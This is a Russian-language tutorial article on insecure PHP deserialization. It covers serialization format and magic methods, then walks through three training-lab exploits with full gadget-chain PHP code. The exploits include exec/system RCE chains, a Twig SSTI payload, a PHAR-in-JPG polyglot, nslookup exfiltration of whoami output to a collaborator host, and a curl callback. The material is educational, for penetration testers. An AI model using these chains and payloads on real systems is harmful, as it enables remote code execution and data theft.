Привет, Хабр! Сегодня мы познакомимся с уязвимостями небезопасной десериализации в PHP, научимся писать эксплойты для эксплуатации уязвимости в рамках тестирований на проникновение и попробуем себя в анализе кода.
Что такое сериализация
Сериализация — это процесс преобразования объекта в формат, который можно легко сохранить или передать, например, в виде строки. Этот процесс широко используется в языках программирования, таких как Java, PHP или .NET. Обратный процесс, называемый десериализацией, позволяет восстановить объект из сериализованного формата, возвращая его в первоначальное состояние.
Чтобы понять, как работают инъекции объектов в PHP, важно разобраться в механизмах сериализации и десериализации.
Когда необходимо передать объект по сети в PHP, мы используем функцию serialize(), которая упаковывает объект в строку:
serialize(): PHP объект -> строка, представляющая объект.
Для восстановления объекта из сериализованных данных применяется функция unserialize():
unserialize(): строка с данными объекта -> исходный объект.
Следующий код сериализует объект "user":
<?php
class User{
public $username;
public $role;
}
$user = new User;
$user->username = 'wr3dmast3r';
$user->role = 'user';
echo serialize($user);
?>
При выполнении этого кода мы получим сериализованную строку, представляющую объект "user":
O:4:"User":2:{s:8:"username";s:10:"wr3dmast3r";s:4:"role";s:4:"user";}
Эта строка содержит информацию о классе, его свойствах и их значениях. С помощью сериализации мы можем сохранять объекты в файлы, передавать их по сети или хранить в базе данных, что делает процесс крайне полезным для работы с данными в приложениях.
Таким образом, сериализация позволяет эффективно управлять состоянием объектов, а десериализация — восстанавливать их для дальнейшего использования.
Структура сериализованной строки
Сериализованная строка в PHP имеет четко определенную структуру, которая позволяет интерпретировать данные, содержащиеся в ней. Основная форма этой структуры выглядит как "тип данных: данные". Ниже приведены основные обозначения типов данных, используемых в сериализации:
- b: булевый тип (boolean);
- i: целое число (integer);
- d: число с плавающей запятой (float);
- s: строка (string), где указывается длина строки и само значение: s:LENGTH:"ACTUAL_STRING";
- a: массив (array), где указывается количество элементов и их содержимое: a:NUMBER_OF_ELEMENTS:{ELEMENTS};
- O: объект (object), где указывается длина имени класса, имя класса, количество свойств и их значения: O:LENGTH:"CLASS_NAME":NUMBER_OF_PROPERTIES:{PROPERTIES}.
Рассмотрим пример сериализованной строки, представляющей объект класса User:
O:4:"User":2:{s:8:"username";s:10:"wr3dmast3r";s:4:"role";s:4:"user";}
В этой строке мы можем увидеть следующее:
- O:4:"User": указывает, что это объект класса User, длина имени класса составляет 4 символа;
- 2: обозначает, что у объекта два свойства;
- {...}: внутри фигурных скобок перечислены свойства объекта;
- s:8:"username": первое свойство называется username, его длина составляет 8 символов;
- s:10:"wr3dmast3r": значение свойства username — строка длиной 10 символов;
- s:4:"role": второе свойство называется role, его длина составляет 4 символа;
- s:4:"user": значение свойства role — строка длиной 4 символа.
Таким образом, структура сериализованной строки позволяет точно определить типы данных и их значения, что делает возможным восстановление объекта в его первоначальном виде при десериализации.
Десериализация
Когда необходимо восстановить объект из сериализованной строки, мы используем функцию unserialize(). Этот процесс позволяет преобразовать строку, представляющую объект, обратно в его исходное состояние, чтобы мы могли с ним работать.
Рассмотрим следующий пример:
<?php
class User{
public $username;
public $role;
}
$user = new User;
$user->username = 'wr3dmast3r';
$user->role = 'user';
$serialized_string = serialize($user);
$unserialized_data = unserialize($serialized_string);
var_dump($unserialized_data);
var_dump($unserialized_data["role"]);
?>
В этом коде мы сначала создаем объект класса User и задаем его свойства. Затем мы сериализуем этот объект с помощью функции serialize(), что позволяет сохранить его состояние в виде строки.
После этого мы используем unserialize(), чтобы восстановить объект из сериализованной строки. В результате переменная $unserialized_data будет содержать объект User с теми же значениями свойств, что и исходный объект.
Как работает unserialize() "под капотом"?
Важно понимать, что функция unserialize() выполняет несколько ключевых действий, которые могут привести к уязвимостям в приложениях. При вызове этой функции происходит восстановление объекта из сериализованной строки, и в процессе этого восстановления могут быть вызваны специальные методы, известные как магические методы.
Магические методы в PHP — это функции, которые имеют особое назначение и поведение. Они начинаются с двойного подчеркивания и выполняют определенные действия в ответ на определенные события. Более подробно о магических методах можно узнать здесь.
Для нас особенно важны два магических метода: __wakeup() и __destruct().
__wakeup()
Этот метод автоматически вызывается при десериализации объекта. Он может использоваться для выполнения дополнительных действий, таких как восстановление состояния объекта или инициализация свойств, которые не были сериализованы. Например, если объект зависит от внешних ресурсов, таких как соединение с базой данных, этот метод может быть использован для их повторного подключения.
__destruct()
Этот метод вызывается при уничтожении объекта. Он может использоваться для освобождения ресурсов, закрытия соединений или выполнения других завершающих действий. Однако, если объект был десериализован и затем уничтожен, этот метод также будет вызван, что может привести к неожиданным последствиям, если в нем содержится код, который не должен выполняться в контексте десериализации.
Проблема с unserialize() заключается в том, что, если мы можем контролировать входные данные, передаваемые в эту функцию, можно попытаться добраться до определенных функций, которые приведут к исполнению кода. Например, мы можем создать объект с полезной нагрузкой и, если класс содержит в себе один из "магических" методов, то мы сможем добраться до функций внутри него с произвольными параметрами
Создание и работа с объектом
Создание экземпляра класса — это процесс, в ходе которого программа выделяет память для нового объекта на основе определенного класса. Функция unserialize() выполняет эту задачу, принимая сериализованную строку, которая содержит информацию о классе и его свойствах. На основе этих данных unserialize() восстанавливает копию изначально сериализованного объекта.
После восстановления объекта функция автоматически ищет и вызывает метод с именем __wakeup(), если он определен в классе. Этот магический метод предназначен для восстановления любых ресурсов, которые могли быть потеряны во время сериализации. Например, он может восстанавливать соединения с базой данных или выполнять другие задачи, необходимые для повторной инициализации объекта.
После выполнения __wakeup() программа продолжает работать с десериализованным объектом, используя его для выполнения различных операций. Объект может быть использован для обработки данных, выполнения бизнес-логики или взаимодействия с другими компонентами системы.
Когда объект больше не нужен и на него не остается ссылок, автоматически вызывается метод __destruct(). Этот магический метод отвечает за освобождение ресурсов, связанных с объектом, и выполнение завершающих действий, таких как закрытие соединений или очистка памяти. В результате объект уничтожается, и память, которую он занимал, освобождается.
Эксплуатация десериализации в PHP
Когда вы имеете контроль над сериализованным объектом, который передается в функцию unserialize(), вы получаете возможность управлять свойствами создаваемого объекта. Это открывает двери для перехвата потока выполнения приложения, позволяя вам контролировать значения, передаваемые в автоматически выполняемые методы, такие как __wakeup() и __destruct(). Этот процесс известен как инъекция объектов в PHP.
Одним из способов эксплуатации уязвимости небезопасной десериализации является манипуляция переменными. Например, вы можете изменить значения, закодированные в сериализованной строке. Рассмотрим следующую сериализованную строку, представляющую объект класса User:
O:4:"User":2:{s:8:"username";s:10:"wr3dmast3r";s:4:"role";s:4:"user";}
В этой строке вы можете попытаться изменить значение свойства role с "user" на "admin", чтобы проверить, предоставит ли приложение вам административные привилегии:
O:4:"User":2:{s:8:"username";s:10:"wr3dmast3r";s:4:"role";s:5:"admin";}
Если приложение не имеет должной проверки прав доступа и полагается на значения, полученные из десериализованного объекта, это может привести к серьезным уязвимостям.
Примеры RCE
PortSwigger - Developing a custom gadget chain for PHP deserialization
При переходе на главную страницу обращаем внимание на ответ запроса страницы, в ней упоминается, где находится какой-то php-файл:
Для того чтобы получить доступ к файлу, необходимо добавить ~ в конце имени файла, это обычно указывает на резервную копию, созданную текстовыми редакторами:
Для создания эксплойта необходимо собрать цепочки гаджетов, которые позволят выполнить произвольный код. Обычно для этого определяют начальный гаджет (первый элемент цепочки, который инициирует выполнение) и конечный гаджет (последний элемент цепочки, который может выполнить произвольный код).
CustomTemplate.php:
<?php
class CustomTemplate {
private $default_desc_type;
private $desc;
public $product;
public function __construct($desc_type='HTML_DESC') {
$this->desc = new Description();
$this->default_desc_type = $desc_type;
// Carlos thought this is cool, having a function called in two places... What a genius
$this->build_product();
}
public function __sleep() {
return ["default_desc_type", "desc"];
}
public function __wakeup() {
$this->build_product();
}
private function build_product() {
$this->product = new Product($this->default_desc_type, $this->desc);
}
}
class Product {
public $desc;
public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
}
class Description {
public $HTML_DESC;
public $TEXT_DESC;
public function __construct() {
// @Carlos, what were you thinking with these descriptions? Please refactor!
$this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
$this->TEXT_DESC = 'This product is cool in text';
}
}
class DefaultMap {
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
public function __get($name) {
return call_user_func($this->callback, $name);
}
}
?>
В данном примере магический метод __wakeup() может служить начальным гаджетом. Этот метод вызывается при десериализации сериализованного объекта. Следуя коду, мы обнаруживаем строку: $this->desc = $desc->$default_desc_type; в конструкторе класса Product, которая будет ключевой для нашей цепочки.
Далее мы ищем подходящий конечный гаджет. Класс DefaultMap содержит метод call_user_func, который может позволить выполнить RCE. Этот метод принимает два параметра: $this->callback и $name. Первый параметр — это имя функции PHP, которую мы хотим вызвать, а второй — аргумент, передаваемый этой функции. Метод call_user_func вызывается в магическом методе __get(), который срабатывает при обращении к неопределенному свойству класса DefaultMap. Имя вызываемого свойства передается как второй параметр, что в нашем случае будет командой, которую мы собираемся выполнить. Также мы можем задать значение для $this->callback в конструкторе класса.
Таким образом мы должны создать объект DefaultMap, который будет использовать функцию exec или подобную и выполнять переданную нами команду:
$exploit = new DefaultMap('exec');
$command = 'ping collaborator.com';
$exploit->$command;
Ключевым моментом является то, что объект Description может быть установлен в конструкторе класса Product, что связывает начальный и конечный гаджеты. Это создает уязвимость, позволяя выполнить произвольный код через вызов метода __get().
Эксплойт:
<?php
class CustomTemplate {
}
class Product {
}
class Description {
}
class DefaultMap {
}
echo "Creating exploit:";
echo "\r\n";
$exploit = new DefaultMap("exec");
$exploit->callback = "exec";
$exploitObject = new CustomTemplate;
$exploitObject->default_desc_type = 'nslookup `whoami`.osky9nbx1joj0hefs8tn9c29i0orci07.oastify.com';
$exploitObject->desc = $exploit;
echo serialize($exploitObject);
?>
В этом коде мы создаем объект DefaultMap, который будет использоваться в качестве конечного гаджета для выполнения произвольного кода. Устанавливаем его свойство callback на значение exec, что позволяет нам вызывать функцию exec при десериализации.
Затем создаем объект CustomTemplate и задаем его свойство default_desc_type. Это свойство будет содержать команду, которую мы хотим выполнить. В данном случае команда nslookup 'whoami'.osky9nbx1joj0hefs8tn9c29i0orci07.oastify.com будет отправлять запрос на DNS-сервер, чтобы получить имя пользователя, выполняющего код, и отправлять его на указанный адрес. После этого присваиваем объекту exploit значение свойства desc объекта exploitObject.
Наконец, сериализуем объект exploitObject и выводим полученную сериализованную строку. Эта строка может быть использована для эксплуатации уязвимости десериализации, позволяя выполнить произвольный код при восстановлении объекта.
Создаем сериализованный объект:
Теперь нужно определить, как использовать эксплойт.
При входе в учетную запись Burp Suite подсвечивает нам обнаруженный сериализованный объект в Cookie:
Переводим получившийся объект в Base64 и заменяем знаки = при необходимости, после отправляем полезную нагрузку и получаем запрос на свой веб-сервер:
Получаем запрос на свой веб-сервер:
PortSwigger - Using PHAR deserialization to deploy a custom gadget chain
Для поиска директории с кодом воспользуемся функцией Discovery Content:
Discovery Content находит несколько файлов php:
Познакомимся с ними.
CustomTemplate.php:
<?php
class CustomTemplate {
private $template_file_path;
public function __construct($template_file_path) {
$this->template_file_path = $template_file_path;
}
private function isTemplateLocked() {
return file_exists($this->lockFilePath());
}
public function getTemplate() {
return file_get_contents($this->template_file_path);
}
public function saveTemplate($template) {
if (!isTemplateLocked()) {
if (file_put_contents($this->lockFilePath(), "") === false) {
throw new Exception("Could not write to " . $this->lockFilePath());
}
if (file_put_contents($this->template_file_path, $template) === false) {
throw new Exception("Could not write to " . $this->template_file_path);
}
}
}
function __destruct() {
// Carlos thought this would be a good idea
@unlink($this->lockFilePath());
}
private function lockFilePath()
{
return 'templates/' . $this->template_file_path . '.lock';
}
}
?>
Blog.php:
<?php
require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');
class Blog {
public $user;
public $desc;
private $twig;
public function __construct($user, $desc) {
$this->user = $user;
$this->desc = $desc;
}
public function __toString() {
return $this->twig->render('index', ['user' => $this->user]);
}
public function __wakeup() {
$loader = new Twig_Loader_Array([
'index' => $this->desc,
]);
$this->twig = new Twig_Environment($loader);
}
public function __sleep() {
return ["user", "desc"];
}
}
?>
В файле CustomTemplate.php реализован класс CustomTemplate, который включает метод __destruct(), автоматически вызываемый при завершении работы PHP-скрипта. Этот метод отвечает за удаление файла блокировки, путь к которому определяется с помощью метода lockFilePath(), формируемого по шаблону templates/$template_file_path.lock. Также в классе присутствует метод isTemplateLocked(), использующий функцию file_exists() для проверки наличия файла блокировки, что позволяет определить, заблокирован ли текущий шаблон.
В файле Blog.php определен класс Blog, использующий шаблонный движок Twig. Важным аспектом является магический метод __wakeup(), который вызывается во время десериализации объекта. При активации этого метода создается новый объект Twig_Environment, используя атрибут desc класса Blog в качестве шаблона. Для демонстрации уязвимости SSTI можно использовать полезную нагрузку, которая регистрирует функцию exec и выполняет команду nslookup.
Полезную нагрузку для SSTI можно найти на HackTricks:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("nslookup `whoami`.osky9nbx1joj0hefs8tn9c29i0orci07.oastify.com")}}
Собираем эксплойт:
<?php
class CustomTemplate {}
class Blog {}
$exploitObject = new CustomTemplate;
$exploitBlog = new Blog;
$exploitBlog->user = 'random';
$exploitBlog->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("nslookup `whoami`.osky9nbx1joj0hefs8tn9c29i0orci07.oastify.com")}}';
$exploitObject->template_file_path = $exploitBlog;
?>
В этом примере создаются экземпляры классов CustomTemplate и Blog. Мы устанавливаем произвольное значение для свойства user в объекте Blog, а затем присваиваем полезную нагрузку в свойство desc. Это открывает возможность использования уязвимости SSTI для выполнения произвольного кода. В конечном итоге объект Blog связывается с объектом CustomTemplate, что позволяет выполнить команду на сервере. Полезная нагрузка будет установлена в атрибуте desc класса Blog, который затем будет передан в CustomTemplate->template_file_path.
Эксплуатация
Теперь необходимо создать phar-архив с нашим сериализованным объектом и превратить все это в JPG. В этом поможет данный репозиторий.
Код для создания JPG необходимо отредактировать, добавив в данном месте наш объект:
После запускаем:
php -c php.ini phar_jpg_polyglot_redacted.php
В результате получаем картинку с полезной нагрузкой, грузим ее в свой профиль:
Картинка загрузилась, проверяем, где она расположена:
Теперь необходимо вызвать десериализацию объекта и PHP предоставляет несколько оберток, которые можно использовать для работы с различными протоколами при доступе к файлам. Одна из них - обёртка phar://, которая предоставляет потоковый интерфейс для доступа к файлам PHP Archive (.phar). В документации по PHP говорится, что файлы PHAR содержат сериализованные метаданные. Очень важно, что если вы выполняете какие-либо операции с файловой системой в потоке phar://, эти метаданные неявно десериализуются. Это означает, что поток phar:// потенциально может быть вектором для использования небезопасной десериализации.
Изменяем значение параметра avatar на вызов обертки phar для десериализации нашего объекта:
Проверяем коллаборатор:
Standoff365 BootCamp - PHP deserialization + PHAR
Функция загрузки картинки по URL уязвима к SSRF, и мы можем получить код приложения:
Читаем код:
Интересующий нас фрагмент кода находится здесь:
<?php
class ImageSorting{
public $ImageArr = Array();
public $SortFunc = "compareByAge";
function __destruct(){
$ImageArr = $this->ImageArr;
$SortFunc = $this->SortFunc;
function compareByName($a, $b) {
return strcmp($a[0], $b[0]);
}
function compareByAge($a, $b) {
return strcmp($a[1], $b[1]);
}
usort($ImageArr, $SortFunc);
print_r(json_encode($ImageArr));
}
}
В представленном коде реализован класс ImageSorting, который предназначен для сортировки массива изображений. Класс содержит два основных свойства:
- $ImageArr: массив, в который будут добавлены изображения для сортировки;
- $SortFunc: строка, указывающая на функцию сортировки, которая по умолчанию установлена на "compareByAge".
Класс включает в себя магический метод __destruct(), который автоматически вызывается при уничтожении объекта. В этом методе выполняются следующие действия:
1. Сохраняются текущие значения свойств $ImageArr и $SortFunc;
2. Определяются две функции для сравнения: compareByName и compareByAge (первая функция сортирует массив по имени изображения, вторая — по возрасту или другому критерию, представленному во втором элементе массива);
3. Вызывается функция usort(), которая сортирует массив $ImageArr с использованием функции, указанной в $SortFunc;
4. Результат сортировки выводится в формате JSON с помощью функции json_encode().
Однако в этом коде существует уязвимость, связанная с тем, что значение свойства $SortFunc может быть изменено на произвольную строку. Например, если установить $SortFunc в значение "system", то при вызове usort() будет использована функция system(), что позволяет выполнять произвольные команды на сервере.
Когда объект ImageSorting уничтожается, например, в конце выполнения скрипта, вызывается метод __destruct(), который пытается отсортировать массив $ImageArr, используя функцию system(). Это создает возможность для удаленного выполнения кода на сервере.
Эксплойт:
<?php
ini_set('phar.readonly', '0');
class ImageSorting{
}
$pharFile = 'exploit.phar';
$phar = new Phar($pharFile);
$phar->startBuffering();
$exploitObject = new ImageSorting();
$exploitObject->ImageArr = ["curl http://10.127.246.140:8000", ""];
$exploitObject->SortFunc = "system";
$phar->addFromString('test.txt', 'test content');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($exploitObject);
$phar->stopBuffering();
echo "PHAR архив создан: {$pharFile}\n";
?>
В этом примере создается PHAR-архив, который содержит объект ImageSorting. Мы устанавливаем массив ImageArr с командой curl, а затем изменяем свойство SortFunc на "system". Это позволяет при уничтожении объекта выполнить команду curl на сервере, что демонстрирует уязвимость к удаленному выполнению кода.
Размещаем эксплойт на своем веб-сервере и используем SSRF для загрузки файла:
С помощью все той же SSRF вызываем десериализацию загруженного нами файла с помощью PHAR и получаем выполнение команды и curl-запрос на свой сервер:
В конце добавлю, что десериализация является мощным инструментом в программировании, позволяющим восстанавливать объекты из сериализованных данных. Однако, как показано в данной статье, она также может порождать серьезные уязвимости, если не применяется с осторожностью. Небезопасная десериализация может привести к инъекциям объектов и удаленному выполнению кода, что ставит под угрозу безопасность приложений. Чтобы минимизировать риски, разработчикам следует использовать безопасные методы сериализации, тщательно проверять и фильтровать входные данные, а также избегать десериализации данных, полученных из ненадежных источников.
Дополнительные ссылки:
Insecure deserialization - PortSwigger